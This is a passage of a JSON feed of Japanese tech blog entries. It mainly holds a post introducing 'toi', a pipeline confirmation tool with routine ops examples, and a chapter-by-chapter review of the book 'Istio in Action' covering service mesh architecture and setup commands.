想定読者本登壇資料は、SRE...","link":"https://zenn.dev/kojake_300/articles/b977011a04fce4","isoDate":"2024-08-08T09:18:01.000Z","dateMiliSeconds":1723108681000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":"Google Cloud Next Tokyo’24 勝手にRecap コンテナ最新アップデート紹介 / google-cloud-next-recap-gke-cloud-run","contentSnippet":"","link":"https://speakerdeck.com/parupappa2929/google-cloud-next-recap-gke-cloud-run","isoDate":"2024-08-08T04:00:00.000Z","dateMiliSeconds":1723089600000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"Pandoc ONLINE #1で「PandocとLuaフィルタで作るプログラマブルな文書」について発表しました","contentSnippet":"日本Pandocユーザ会主催の勉強会「Pandoc ONLINE #1」が開催されました。コミュニティ主催のsky_yさんが活動を再開していこうとしてらっしゃるので、これからが楽しみですね。勉強会後の雑談会では、Pandocの技術的な話はしばしば出てくるが、業務でどう使われているか、みたいな話がなかなか出てこないという感想もあったので、コミュニティが盛り上がってこのあたりの知見共有も進むといいなと思います。","link":"https://blog.atusy.net/2024/08/07/pandoc-online-1/","isoDate":"2024-08-07T00:00:00.000Z","dateMiliSeconds":1722988800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Rで関数定義のジャンプがしょぼいわけ","contentSnippet":"RStudioなどのエディタは、関数の定義ジャンプ機能を備えます。https://cran.r-project.org/web/packages/languageserver/index.html)。","link":"https://blog.atusy.net/2024/08/07/r-def-jumpt/","isoDate":"2024-08-07T00:00:00.000Z","dateMiliSeconds":1722988800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"運用では確認以外を自動化したいという時もある","contentSnippet":"はじめにこんにちは、ウェブオペレーターの皆さん。今日は、運用の自動化を推進しつつ、重要な確認ステップを保持する方法について、私が開発したツール「toi」を交えてお話しします。また、これらのツールが完全な自動化が許されない環境や状況でも活用できる方法に焦点を当てていきます。マスタリングLinuxシェルスクリプト 第2版 ―Linuxコマンド、bashスクリプト、シェルプログラミング実践入門作者:Mokhtar Ebrahim,Andrew Mallettオーム社Amazontoiの開発背景toiの開発は、私自身がウェブオペレーションの現場で直面した具体的な課題から始まりました。完全な自動化を目指す一方で、重要な判断には人間の介入が必要な場面が多々ありました。例えば:スクリプト1の実行結果を確認し、その出力をスクリプト2の入力としてコピーペーストする必要がある場合。本番環境で実行する前に、一旦出力を確認するために実行コマンドを削除して dry-run する必要がある場合。これらの操作は、既存の自動化ツールでは効率的に処理することが難しく、人間の手動介入が必要でした。そこで、Unixパイプラインの柔軟性を活かしつつ、必要な箇所で人間の判断を挟むことができるツールの開発を考えました。これが toiの誕生につながったのです。運用自動化の現実と課題運用の自動化は効率性と一貫性を高める素晴らしい方法です。しかし、現実には完全な自動化が許されない、あるいは望ましくないケースが多々あります。組織のポリシー:特定の操作に人間の承認が必須な場合リスク管理:ミスの影響が甚大な操作異常検知:通常とは異なる状況で、人間の判断が必要な場合段階的な自動化:完全自動化への移行過程で、部分的に人間の確認を残す必要がある場合これらの状況下では、完全な自動化と手動操作の間でバランスを取る必要があります。そこで登場するのが「toi」です。toiの紹介「toi」(発音は「とい」)は、Unixスタイルのパイプラインに対話的な確認ステップを追加するコマンドラインツールです。このツールを使用することで、自動化プロセスに人間の判断を効果的に組み込むことができます。github.comtoiの主な特徴パイプライン内での対話的確認カスタマイズ可能なタイムアウトデフォルト応答オプション柔軟なプロンプトメッセージ軽量で高速な動作他のUnixツールとの優れた互換性toiの技術的詳細toiは、Go言語で実装されています。その主な技術的特徴は以下の通りです:標準入出力の効率的な処理: Goのio/ioutilパッケージを活用し、大量のデータでも効率的に処理します。並行処理: Goのgoroutineを使用し、タイムアウト処理と入力待ちを並行して行います。シグナルハンドリング: SIGINT(Ctrl+C)などのシグナルを適切に処理し、ユーザーが操作を中断できるようにしています。toiは、Unixパイプラインとの親和性が高く、学習コストが低いという点で他のツールと差別化されています。完全自動化が許されない状況でのtoiの活用重要データの更新確認echo \\"UPDATE user_data SET status = \'INACTIVE\' WHERE last_login < \'2023-01-01\';\\" | toi -p \\"長期間ログインのないユーザーを非アクティブにしますか? (y/n): \\" | mysql user_db ユーザーステータスの一括変更など、重要な更新操作の前に確認が必要な場合に有効です。システム設定変更の承認./generate_config_update.sh | toi -t 300 -p \\"新しい設定を適用しますか? (y/n): \\" | sudo apply_config システム設定の変更に必ず人間のレビューを要求している場合に使用できます。大規模データ操作の制御find /data/old_records -type f -mtime +365 | toi -y -p \\"1年以上経過した記録を削除しますか? (Y/n): \\" | xargs rm 大量のデータ削除など、影響範囲が大きい操作で人間の判断を仰ぐことができます。重要な自動処理の承認echo \\"実行する重要な処理の内容\\" | toi -t 600 -p \\"この重要な処理を実行しますか? (y/n): \\" && ./run_critical_process.sh 組織のポリシーで、重要な自動処理の実行前に人間の承認が必要な場合に利用できます。toiによる運用改善のポイントリスク管理の向上: 重要な操作前に人間の判断を介在させ、潜在的なリスクを軽減します。段階的自動化の実現: 完全自動化への移行過程で、徐々に人間の介入を減らしていくことができます。異常検知と対応: 通常と異なる状況を人間に通知し、適切な判断を仰ぐことができます。操作の記録: 重要な操作に対する承認プロセスを記録し、後日の確認に備えることができます。柔軟なワークフロー構築: 既存の自動化スクリプトに容易に組み込め、段階的な改善が可能です。導入と使用方法toiは簡単に導入できます。Go環境がある場合は以下のコマンドでインストールできます:go install github.com/nwiizo/toi@latestまたは、GitHubリリースページから直接バイナリをダウンロードすることもできます。基本的な使用方法は以下の通りです:command1 | toi [オプション] | command2主なオプション:- -t, --timeout int: タイムアウト時間(秒)を設定- -y, --yes: 入力がない場合にデフォルトでYesを選択- -n, --no: 入力がない場合にデフォルトでNoを選択- -p, --prompt string: カスタムプロンプトメッセージを設定制限事項と注意点現在のバージョンでは、複雑な条件分岐やループ処理には対応していません。大量のデータを扱う場合、メモリ使用量に注意が必要です。セキュリティ上の理由から、リモート実行には適していません。まとめ「toi」を活用することで、完全な自動化が許されない状況下でも、運用の効率化と人間の判断の両立が可能になります。組織のポリシーやリスク管理など、様々な理由で人間の介入が必要な場面で、toiは自動化と手動操作のバランスを取るための強力なツールとなります。自動化を推進しながらも、クリティカルな判断には人間の介入を残すという、バランスの取れたアプローチを実現するツールとして、ぜひ「toi」を検討してみてください。組織の要件に合わせて柔軟に運用プロセスを設計し、効率性と安全性の両立を図ることができます。あれがほしいとかこの機能が無いとはPRいただきたいです。あと、みんなGithubにStarして♥","link":"https://syu-m-5151.hatenablog.com/entry/2024/08/04/184713","isoDate":"2024-08-04T09:47:13.000Z","dateMiliSeconds":1722764833000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"【SRE-NEXT 2024】内製化を見据えた効果的なSRE支援のアプローチ / SRE support approach","contentSnippet":"","link":"https://speakerdeck.com/kojake_300/sre-next-2024-nei-zhi-hua-wojian-ju-etaxiao-guo-de-nasrezhi-yuan-noapuroti","isoDate":"2024-08-03T04:00:00.000Z","dateMiliSeconds":1722657600000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":"@Hiroki__IT が目の前にやってきて私にIstioのこと教えてくれた。- Istio in Action の読書感想文","contentSnippet":"はじめにマイクロサービスアーキテクチャの台頭により、サービスメッシュ技術は現代のクラウドネイティブ環境において外せない選択肢の一つとなっています。 その理由は明確です。マイクロサービスに求められる非機能要件の多くは類似しており、これをアプリケーション側で個別に実装すると、開発者やインフラエンジニアの負担が増大するからです。ここで登場するのがサービスメッシュです。サービスメッシュの採用により、これらの非機能要件をインフラ層で一元管理することが可能となり、アプリケーション開発者とインフラエンジニアの責務を明確に分離できます。つまり、各エンジニアが自身の専門領域にフォーカスできるのです。これは単なる効率化ではなく、イノベーションを加速させるためサービス開発する上での労苦をなくします。そして、サービスメッシュの世界で圧倒的な存在感を放っているのがIstioです。その包括的な機能と広範な採用で、Istioは多くの企業から信頼を得ています。「Istio in Action」は、このIstioの真髄を理解し、実践的に活用するための道標となる一冊です。Istio in Action作者:Posta, Christian E.,Maloku, RinorManningAmazonしかし、ここで一つの疑問が浮かびます。なぜ日本国内ではIstioの普及が進んでいないのでしょうか? 多くの企業がマイクロサービスへの移行を検討している一方で、サービスメッシュ技術の導入には慎重な姿勢を示しています。例えば、国内の主要なクラウドネイティブ技術カンファレンスであるCloudNative Days Tokyoでも、Istioに関するセッションの数は比較的少ない印象です。国内のセッションだと「1年間のシステム運用を通して分かったIstioの嬉しさと活用における注意点」も好きです。もう誰にも歌わなくなった。大好きなIstioの歌を俺は大きな声で歌うよ 。しかし、希望はあります。同イベントのハンズオンではIstioの利用が見られ、実践的な学習の機会が提供されています。以下の動画は、サービスメッシュの基本的な使用方法を学ぶための絶好の入門ガイドです。クラウドネイティブなシステムを触る予定がある方は、ぜひご覧ください。www.youtube.com本読書感想文の目的は明確です。Istioを実際に採用していない、あるいは採用の予定がない読者の方々にも、Istioの魅力と可能性を伝えることです。なぜなら、サービスメッシュ技術は現代のソフトウェアアーキテクチャの重要なトレンドの一つであり、その概念や原則を理解することは、今後のIT業界の動向を把握する上で非常に有益だからです。glossary.cncf.io「Istio in Action」は、Istioの基本概念から高度な運用テクニック、さらにはカスタム拡張まで、幅広いトピックをカバーする包括的な指南書です。著者のChristian Posta氏とRinor Maloku氏は、豊富な実務経験と深い技術的知見を基に、理論と実践のバランスの取れた解説を提供しています。本書の真の価値は、単なる技術解説に留まらない点にあります。Istioの導入がもたらす組織的な影響や、実際の運用環境での課題にも焦点を当てているのです。これは、Istioを実際のプロダクション環境に導入し、効果的に活用しようとする読者にとって、まさに宝の山と言えるでしょう。本書は2022年3月に出版されており、本読書感想文を執筆している2024年8月時点では約2年半が経過しています。Istioは急速に進化を続けているため、技術的な詳細や最新の機能については、必ず公式ドキュメントを参照することをお勧めします。しかし、本書で説明されている基本的な概念、アーキテクチャの原則、そして実践的なアプローチは、時代を超えて価値があり、Istioを理解し活用する上で重要な基盤となります。istio.io本読書感想文では、「Istio in Action」の各章の主要な内容を要約し、その実践的な価値と2024年現在の技術動向との関連性を考察します。また、必要に応じて最新の情報との相違点にも触れていきます。Istioを学び、導入を検討している開発者、SRE、アーキテクトの方々はもちろん、サービスメッシュ技術に興味を持つ全ての読者にとって、本書がどのような価値を提供するかを明らかにしていきます。また、本読書感想文の執筆にあたり、@Hiroki__ITさんから多大なご貢献をいただきました。専門知識によるレビューのおかげで、本文の方向性、品質と正確性が大幅に向上しました。この場を借りて、ご尽力に心から感謝申し上げます。彼のIstioに関する有益なブログはこちらでご覧いただけます。Istioについてさらに深く学びたい方には、このリソースを強くお勧めします。彼も大きな声で歌ってます。みんなも好きな技術について歌ってほしいです。hiroki-hasegawa.hatenablog.jpはじめに2024年現在の技術動向との比較コアアーキテクチャの安定性主要な進化と新機能Part 1 Understanding Istio1 Introducing the Istio service meshクラウドネイティブアーキテクチャの課題サービスメッシュとIstioの導入Istioの主要機能と利点1. サービスレジリエンス2. トラフィック制御3. セキュリティ4. 可観測性Istioと他のテクノロジーとの比較Istioの実際の使用シナリオまとめ2 First steps with IstioIstioのインストールと基本設定Istioのコントロールプレーンの理解アプリケーションのデプロイとサービスメッシュへの統合トラフィック制御と高度なルーティング観測可能性とレジリエンスまとめ3 Istio\'s data plane: The Envoy proxyEnvoyプロキシの概要と主要機能Envoyの設定と動作Envoyの動的設定と xDS APIEnvoyの可観測性とトラブルシューティングIstioとEnvoyの関係実践的な応用と提案まとめPart 2 Securing, observing, and controlling your service’s network traffic4 Istio gateways: Getting traffic into a clusterIstio Gatewayの基本概念Gateway設定の実践セキュリティ設定高度な機能と運用上の考慮事項実践的な応用と提案まとめ5 Traffic control: Fine-grained traffic routingトラフィック制御の基本概念カナリアリリースとトラフィックシフティングトラフィックミラーリングFlaggerを使用した自動カナリアデプロイメントクラスター外部へのトラフィック制御実践的な応用と提案まとめ6 Resilience: Solving application networking challengesクライアントサイドロードバランシングロケーションアウェアロードバランシングタイムアウトとリトライサーキットブレーキング実践的な応用と提案まとめ7 Observability: Understanding the behavior of your servicesIstioの観測可能性アーキテクチャメトリクス収集の詳細分散トレーシングの実装アクセスロギングの高度な設定観測可能性データの活用まとめ8 Observability: Visualizing network behavior with Grafana, Jaeger, and KialiGrafanaを用いたメトリクスの可視化分散トレーシングとJaegerKialiを用いたサービスメッシュの可視化実践的な応用と提案まとめ9 Securing microservice communicationサービス間認証(mTLS)エンドユーザー認証(JWT)認可ポリシー外部認可サービスとの統合実践的な応用と提案まとめPart 3 Istio day-2 operations10 Troubleshooting the data plane技術的詳細と実践的応用データプレーンの同期状態の確認Kialiを使用した設定の検証Envoy設定の詳細分析アクセスログの活用まとめ11 Performance-tuning the control plane技術的詳細と実践的応用コントロールプレーンの目標パフォーマンスに影響を与える要因パフォーマンスモニタリングパフォーマンス最適化技術実践的な応用と提案まとめPart 4 Istio in your organization12 Scaling Istio in your organizationマルチクラスターサービスメッシュの利点技術的詳細と実践的応用マルチクラスター導入モデルクラスター間のワークロード発見クラスター間の接続性クラスター間の認証と認可実践的な応用と提案まとめ13 Incorporating virtual machine workloads into the mesh技術的詳細と実践的応用Istioの最新VMサポート機能VMワークロードの統合プロセスセキュリティと観測可能性実践的な応用と提案まとめ14 Extending Istio on the request path技術的詳細と実践的応用Envoyフィルターの理解EnvoyFilterリソースの使用LuaスクリプトによるカスタマイズWebAssemblyによる拡張実践的な応用と提案まとめおわりにおまけ2024年現在の技術動向との比較「Istio in Action」が2022年3月に出版されてから2年半が経過し、Istioは継続的な進化を遂げています。2024年8月現在、Istioの最新安定版は1.22でありistio.ioこの間に多くの機能追加や改善が行われました。しかし、Istioのコアアーキテクチャは大きく変わっていません。blog.christianposta.comコアアーキテクチャの安定性Istioの基本的な設計哲学と主要コンポーネントは維持されています:カスタムリソースによるEnvoy設定の抽象化: VirtualServiceやDestinationRule,GatewayなどのCRDを使用して、トラフィックを制御する為に複雑なEnvoy設定を抽象化する仕組みは変わっていません。コントロールプレーンからデータプレーンへの設定配布: istiodがxDS APIを通じてEnvoyプロキシに設定を配布する方式は継続されています。サイドカーインジェクション: istio-initとistio-proxyコンテナを自動的にPodにインジェクトする仕組みは、依然としてIstioの中核機能です。トラフィックキャプチャ: istio-iptablesを使用したトラフィックのキャプチャと制御の仕組みも変わっていません。主要な進化と新機能アンビエントメッシュ(Ambient Mesh): Istio 1.19で導入されたアンビエントメッシュは、サービスメッシュのパラダイムシフトを目指しています。従来のサイドカーモデルと比較して、以下の利点があります:リソース効率の向上: サイドカーレスアーキテクチャにより、CPUとメモリの使用量が大幅に削減。スケーラビリティの改善: 大規模クラスターでのパフォーマンスが向上。導入の簡素化: アプリケーションコンテナの変更が不要。 しかし、2024年8月時点でベータ版に昇格したみたいです。しかし、本番環境での採用には慎重なアプローチが必要です(まだ、αだと思っていたんですけど昇格していたみたいです。@toversus26さんに教えてもらいました。ありがとうございます。)。istio.ioWebAssembly (Wasm) の進化: Envoyの拡張性が大幅に向上し、多言語でのカスタムフィルター開発が可能になりました。例えば:Rust、C++、AssemblyScriptなどでのフィルター開発が可能。パフォーマンスオーバーヘッドが従来のLuaスクリプトと比較して10-20%改善。セキュリティが強化され、サンドボックス環境での実行が可能に。istio.ioマルチクラスター・マルチクラウド対応の強化:複数のKubernetesクラスター間でのサービスディスカバリとロードバランシングが改善。異なるクラウドプロババイダー(AWS、GCP、Azure)間でのシームレスな統合が可能に。ネットワークトポロジーに基づいた最適なルーティング決定が可能。istio.ioセキュリティの強化:SPIFFE (Secure Production Identity Framework For Everyone) の完全サポート。より細かな粒度でのアクセス制御:サービス、メソッド、パスレベルでの認可ポリシー。外部認証プロバイダ(OAuth、OIDC)との統合が改善。istio.io可観測性の強化:OpenTelemetryとの完全統合:トレース、メトリクス、ログの統一的な収集が可能。Kialiの機能強化:リアルタイムのサービスメッシュ可視化とトラブルシューティング機能の向上。カスタムメトリクスの柔軟な定義と収集が可能に。istio.ioKubernetes Gateway API対応:Kubernetes Gateway APIの完全サポートにより、より標準化されたトラフィック管理が可能。マルチクラスター環境での一貫したGateway設定が容易に。istio.ioパフォーマンスの最適化:Envoyプロキシのメモリ使用量が20-30%削減。eBPF (extended Berkeley Packet Filter) の活用によるネットワークパフォーマンスの向上。istio.ioWaypoint Proxy:サービス間の通信制御をより細かく管理可能。マルチクラスター環境でのトラフィック管理が大幅に簡素化。istio.ioIstioは急速に進化を続けており、その基本的な概念や主要機能は「Istio in Action」で説明されているものと大きく変わっていません。しかし、新機能の追加や既存機能の改善により、より柔軟で強力なサービスメッシュの構築が可能になっています。組織の規模やニーズに応じて、Istioの採用を検討し、マイクロサービスアーキテクチャの課題解決に活用することができるでしょう。Part 1 Understanding Istio1 Introducing the Istio service mesh「Istio in Action」の第1章は、現代のクラウドネイティブアーキテクチャが直面する課題と、それらを解決するためのサービスメッシュ、特にIstioの役割について包括的に解説しています。著者は、マイクロサービスアーキテクチャの複雑さと、それに伴う課題に焦点を当て、Istioがどのようにしてこれらの問題を解決するかを詳細に説明しています。クラウドネイティブアーキテクチャの課題著者は、現代のソフトウェア開発が直面する主な課題を以下のように特定しています。ネットワークの信頼性の欠如: クラウド環境では、ネットワークの障害が頻繁に発生します。これは、サービス間の通信に大きな影響を与え、システム全体の安定性を脅かす可能性があります。サービス間の依存関係管理: マイクロサービスの数が増えるにつれ、サービス間の依存関係が複雑化します。これにより、障害の伝播やパフォーマンスの問題が発生しやすくなります。分散システムの複雑さ: 多数のサービスが協調して動作する必要があり、全体の挙動を把握することが困難になります。これは、デバッグや問題解決を非常に困難にします。一貫したセキュリティポリシーの適用: 各サービスで個別にセキュリティを実装すると、一貫性の確保が難しくなります。これは、セキュリティホールを生み出す可能性があります。システム全体の可観測性の確保: 分散システムでは、問題の根本原因を特定することが困難です。これは、迅速な問題解決を妨げ、システムの信頼性に影響を与えます。Figure 1.1 ACMEMono modernization with complementary services より引用この図は、モノリシックなアプリケーション(ACMEmono)とService A、Service B、Service Cが分離され、それぞれが独立したサービスとして機能していることがわかります。この構造は、上記の課題を顕著に示しています。例えば、Service AがService Bに依存している場合、Service Bの障害がService Aにも影響を与える可能性があります。また、各サービスが独自のセキュリティ実装を持つ場合、一貫したセキュリティポリシーの適用が困難になります。著者は、これらの課題に対処するための従来のアプローチとして、アプリケーション固有のライブラリ(例:Netflix OSS)の使用を挙げています。しかし、このアプローチには以下のような問題があると指摘しています。言語やフレームワークに依存する: 例えば、Netflix OSSはJava中心のライブラリセットであり、他の言語で書かれたサービスには適用が難しいです。新しい言語やフレームワークの導入が困難: 新しい技術を導入する際に、既存のレジリエンスパターンを再実装する必要があります。ライブラリの維持と更新が煩雑: 各サービスで使用されているライブラリのバージョンを一貫して管理することが困難です。Figure 1.3 Application networking libraries commingled with an application より引用この図は、従来のアプローチでは、各アプリケーションが個別にネットワーキングライブラリを実装する必要があることを示しています。これは、一貫性の確保や保守の面で課題を生み出します。例えば、Service AとService Bが異なる言語で実装されている場合、それぞれが異なるライブラリセットを使用することになり、結果として異なるレジリエンスパターンが適用される可能性があります。サービスメッシュとIstioの導入著者は、これらの課題に対する解決策としてサービスメッシュ、特にIstioを紹介しています。Istioは以下の主要な機能を提供することで、これらの課題に対処します。サービスレジリエンス: リトライ、タイムアウト、サーキットブレーカーなどの機能を提供トラフィック制御: 細かなルーティング制御やカナリアデプロイメントの実現セキュリティ: 相互TLS(mTLS)による通信の暗号化と認証可観測性: メトリクス収集、分散トレーシング、ログ集約Figure 1.8: A service mesh architecture with co-located application-layer proxies (data plane) and management components (control plane) より引用この図は、サービスメッシュのアーキテクチャを示しています。各アプリケーションにサイドカーとしてデプロイされたプロキシ(データプレーン)と、それらを管理するコントロールプレーンの関係が明確に表現されています。こちら、サービスメッシュに関してはこちらの動画もオススメです。www.youtube.com著者は、Istioのアーキテクチャを以下のように詳細に説明しています。データプレーン:Envoyプロキシをベースとしています。各サービスのサイドカーとしてデプロイされ、すべてのネットワークトラフィックを制御します。トラフィックの暗号化、ルーティング、負荷分散、ヘルスチェックなどを実行します。コントロールプレーン:istiodと呼ばれる中央管理コンポーネントで構成されています。ポリシーの適用や設定の配布を行います。証明書の管理、サービスディスカバリ、設定の検証などの機能を提供します。Figure 1.9 Istio is an implementation of a service mesh with a data plane based on Envoy and a control plane. より引用この図は、Istioの具体的な実装を示しています。Envoyプロキシがデータプレーンとして機能し、istiodがコントロールプレーンとして全体を管理している様子が描かれています。例えば、新しいサービスがデプロイされると、istiodはそのサービスの存在を検知し、関連するすべてのEnvoyプロキシに新しい設定を配布します。これにより、新しいサービスへのトラフィックが適切にルーティングされ、セキュリティポリシーが適用されます。Istioの主要機能と利点著者は、Istioの主要機能とその利点を以下のように詳細に説明しています。1. サービスレジリエンスIstioは、Envoyプロキシを通じて以下のレジリエンス機能を提供します。リトライ: 一時的な障害からの自動回復を行います。例えば、ネットワークの瞬断によるエラーを自動的にリトライすることで、ユーザーへの影響を最小限に抑えます。タイムアウト: 長時間応答のないリクエストを制御します。これにより、1つのスロークエリがシステム全体のパフォーマンスを低下させることを防ぎます。サーキットブレーカー: 障害のあるサービスへのトラフィックを遮断します。例えば、特定のサービスが頻繁にエラーを返す場合、一定時間そのサービスへのリクエストを遮断し、システム全体の安定性を保ちます。これらの機能により、システム全体の安定性が向上し、障害の影響を最小限に抑えることができます。我らが師匠のyteraokaさんがIstio の timeout, retry, circuit breaking, etcというブログを4年前に書いているので是非、読んで下さい。sreake.com2. トラフィック制御Istioのトラフィック管理機能には以下が含まれます。細かなルーティング制御: HTTPヘッダーやその他のメタデータに基づいてルーティングを制御します。例えば、特定のユーザーグループからのリクエストを新しいバージョンのサービスにルーティングすることができます。カナリアデプロイメント: 新バージョンへの段階的なトラフィック移行を実現します。例えば、新バージョンに最初は5%のトラフィックのみを送り、問題がなければ徐々に増やしていくことができます。負荷分散: 高度な負荷分散アルゴリズムを適用します。ラウンドロビン、最小接続数、重み付けなど、様々な方式を選択できます。これらの機能により、新機能の安全なロールアウトやA/Bテストの実施が可能になります。istio.io3. セキュリティIstioのセキュリティ機能には以下が含まれます。相互TLS(mTLS): サービス間の通信を自動的に暗号化します。これにより、中間者攻撃などのセキュリティリスクを大幅に軽減できます。アイデンティティ管理: 各サービスに強力なアイデンティティを付与します。これにより、「誰が誰と通信しているか」を正確に把握し、制御することができます。認証と認可: きめ細かなアクセス制御ポリシーを適用します。例えば、「サービスAはサービスBの特定のエンドポイントにのみアクセスできる」といったポリシーを設定できます。これらの機能により、セキュリティ管理の複雑さが大幅に軽減されます。istio.io4. 可観測性Istioは以下の可観測性機能を提供します。メトリクス収集: サービス間のトラフィック、レイテンシ、エラーレートなどを自動的に収集します。これらのメトリクスは、Prometheusなどのモニタリングツールと容易に統合できます。分散トレーシング: リクエストの全体的な流れを可視化します。例えば、ユーザーリクエストがシステム内のどのサービスを通過し、各サービスでどれくらいの時間を消費したかを追跡できます。アクセスログ: 詳細なリクエスト/レスポンスの情報を記録します。これにより、問題が発生した際の詳細な分析が可能になります。これらの機能により、システムの健全性の監視と問題の迅速な特定が可能になります。istio.ioIstioと他のテクノロジーとの比較著者は、IstioをEnterprise Service Bus(ESB)やAPI Gatewayと比較し、その違いを明確にしています。Figure 1.10: An ESB as a centralized system that integrates applicationsこの図は、従来のESBアーキテクチャを示しています。ESBが中央集権的なシステムとして機能し、全てのサービス間の通信を仲介する様子が描かれています。ESBとIstioの主な違いは以下の通りです。アーキテクチャ: ESBは中央集権的であるのに対し、Istioは分散型です。スケーラビリティ: ESBは中央のボトルネックになりやすいですが、Istioは各サービスに分散しているため、より高いスケーラビリティを提供します。機能: ESBはメッセージ変換やオーケストレーションなども行いますが、Istioはネットワーキングの問題に特化しています。Figure 1.12 The service proxies implement ESB and API gateway functionalities. より引用この図は、Istioのサービスプロキシが、ESBやAPI Gatewayの機能を分散的に実装している様子を示しています。各サービスに付随するプロキシが、それぞれの機能を担っていることがわかります。Figure 1.11 API gateway for service traffic より引用API GatewayとIstioの主な違いは以下の通りです。適用範囲: API Gatewayは主にエッジでの機能を提供しますが、Istioはサービス間の全ての通信を管理します。グラニュラリティ: Istioはより細かいレベルでのトラフィック制御が可能です。統合: IstioはKubernetesなどのプラットフォームとより密接に統合されています。著者は、Istioが以下の点でESBやAPI Gatewayと異なることを強調しています。分散アーキテクチャ: Istioは中央集権的ではなく、各サービスに分散してデプロイされます。これにより、単一障害点を排除し、高いスケーラビリティを実現しています。透明性: アプリケーションコードを変更せずに機能を提供します。開発者は既存のアプリケーションロジックを変更することなく、Istioの機能を利用できます。フォーカス: Istioは純粋にネットワーキングの問題に焦点を当てており、ビジネスロジックの実装は行いません。これにより、各サービスの責務が明確に分離され、システム全体の保守性が向上します。Istioの実際の使用シナリオ著者は、Istioの実際の使用シナリオについていくつかの具体例を提供しています。マイクロサービスの段階的な導入:既存のモノリシックアプリケーションからマイクロサービスへの移行を段階的に行う際、Istioを使用してトラフィックを制御できます。例えば、新しいマイクロサービスに最初は10%のトラフィックのみを送り、問題がなければ徐々に増やしていくことができます。A/Bテスティング:新機能のテストを行う際、Istioのトラフィック分割機能を使用して、特定のユーザーグループに新機能を提供し、その反応を測定することができます。セキュリティの強化:Istioの相互TLS機能を使用して、すべてのサービス間通信を自動的に暗号化できます。これにより、セキュリティチームは個々のアプリケーションの実装を気にすることなく、一貫したセキュリティポリシーを適用できます。障害インジェクションテスト:Istioの障害インジェクション機能を使用して、特定のサービスの遅延や障害をシミュレートし、システム全体のレジリエンスをテストできます。マルチクラスタ/マルチクラウド環境の管理:Istioを使用して、異なるクラスタや異なるクラウドプロバイダー上で動作するサービス間の通信を統一的に管理できます。これにより、ハイブリッドクラウド環境やマルチクラウド環境の運用が大幅に簡素化されます。まとめ「Istio in Action」の第1章は、サービスメッシュとIstioの概念を包括的に紹介し、その重要性を説得力のある方法で説明しています。著者は、クラウドネイティブアーキテクチャの課題を明確に特定し、Istioがこれらの課題にどのように対処するかを詳細に解説しています。Figure 1.13 An overview of separation of concerns in cloud-native applications. Istio plays a supporting role to the application layer and sits above the lower-level deployment layer. より引用この図は、クラウドネイティブアプリケーションにおけるIstioの位置づけを示しています。Istioが、アプリケーションレイヤーとデプロイメントレイヤーの間に位置し、両者を橋渡しする重要な役割を果たしていることがわかります。Istioは、ネットワークの信頼性、セキュリティ、可観測性、トラフィック管理など、分散システムが直面する多くの課題に対する強力なソリューションを提供します。しかし、著者が指摘しているように、Istioの導入は技術的な変更以上のものであり、組織のアーキテクチャ設計、運用プラクティス、さらにはチームの構造にまで影響を与える可能性があります。2024年現在、Istioはさらに進化を続けており、アンビエントメッシュやWebAssemblyを通じた拡張性の向上など、新たな可能性を開いています。これらの進化は、著者の主張の妥当性を裏付けるとともに、Istioの適用範囲をさらに広げています。最後に、この章はIstioの導入を検討している組織にとって優れた出発点となりますが、実際の導入に際しては、自組織の具体的なニーズ、既存のインフラストラクチャ、そして長期的な技術戦略を慎重に評価することが重要です。Istioは強力なツールですが、それを効果的に活用するためには、適切な計画、リソース、そして継続的な学習とアダプテーションが必要です。サービスメッシュ技術、特にIstioは、クラウドネイティブアーキテクチャの未来を形作る重要な要素の一つとなっています。この技術を理解し、適切に活用することは、現代のソフトウェアエンジニアとSREにとって不可欠なスキルとなっているのです。2 First steps with Istio「Istio in Action」の第2章は、Istioの実践的な導入と基本的な使用方法に焦点を当てています。この章では、Istioのインストール、コントロールプレーンの理解、アプリケーションのデプロイ、トラフィック制御、そして観測可能性の探索といった重要なトピックが取り上げられています。Istioのインストールと基本設定章の冒頭で、著者はIstioのインストール方法を詳細に説明しています。特に印象的だったのは、istioctlコマンドラインツールの使用です。このツールを使用することで、Istioのインストールプロセスが大幅に簡素化されています。例えば、以下のコマンドでIstioをインストールできます:istioctl install --set profile=demo -yこの簡潔さは、特に大規模な環境での導入や、CI/CDパイプラインへの組み込みを考えた際に非常に有用です。また、著者が強調しているように、インストール前のistioctl x precheckコマンドの使用は、潜在的な問題を事前に特定し、スムーズなデプロイメントを確保するための重要なステップです。Figure 2.1 Istio control plane and supporting components より引用この図は、Istioの全体的なアーキテクチャを理解する上で非常に有用です。特に、istiodがコントロールプレーンの中心的な役割を果たしていることが視覚的に明確になっています。Istioのコントロールプレーンの理解著者は、Istioのコントロールプレーン、特にistiodコンポーネントの重要性を強調しています。istiodは、設定の管理、サービスディスカバリ、証明書管理など、多岐にわたる機能を担っています。特に印象的だったのは、IstioがKubernetes Custom Resource Definitions (CRDs)を活用して設定を管理している点です。これにより、Istioの設定がKubernetesのネイティブリソースとして扱えるようになり、既存のKubernetesツールやワークフローとシームレスに統合できます。hiroki-hasegawa.hatenablog.jp例えば、以下のようなYAML定義で、Istioの振る舞いを制御できます:apiVersion: networking.istio.io/v1alpha3kind: VirtualServicemetadata: name: my-servicespec: hosts: - my-service http: - route: - destination: host: my-service subset: v1この宣言的な設定アプローチは、IaCの原則に沿っており、設定の版管理やレビュープロセスの導入を容易にします。アプリケーションのデプロイとサービスメッシュへの統合著者は、サンプルアプリケーション(カタログサービスとWebアプリ)を用いて、Istioのサービスメッシュへのアプリケーションの統合プロセスを説明しています。特に注目すべきは、サイドカーインジェクションのプロセスです。Istioは、アプリケーションのPodに自動的にEnvoyプロキシをインジェクトすることで、アプリケーションコードを変更することなくメッシュの機能を提供します。hiroki-hasegawa.hatenablog.jpkubectl label namespace istioinaction istio-injection=enabledこのコマンドは、指定された名前空間内の全てのPodに自動的にIstioプロキシをインジェクトするよう設定します。この自動化は、大規模なマイクロサービス環境での運用を大幅に簡素化します。Figure 2.7 The webapp service calling the catalog service both with istio-proxy injected 